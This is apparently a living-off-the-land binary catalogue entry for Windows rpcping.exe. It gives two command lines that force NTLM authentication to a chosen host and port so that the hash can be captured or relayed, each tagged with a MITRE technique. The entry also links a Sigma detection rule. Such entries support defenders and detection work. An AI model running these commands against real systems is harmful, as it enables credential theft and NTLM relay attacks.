Rpcping.exe

type: OSBinaries

Used to verify rpc connection

Full path

C:\Windows\System32\rpcping.exe
C:\Windows\SysWOW64\rpcping.exe

Commands

CredentialsUser T1003
Capture credentials on a non-standard port
```
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
```
Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
CredentialsUser T1187
Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port
```
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
```
Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml

Resources

acknowledgement: Casey Smith @subtee, Vincent Yiu @vysecurity, Antonio Cocomazzi @splinter_code, ap @decoder_it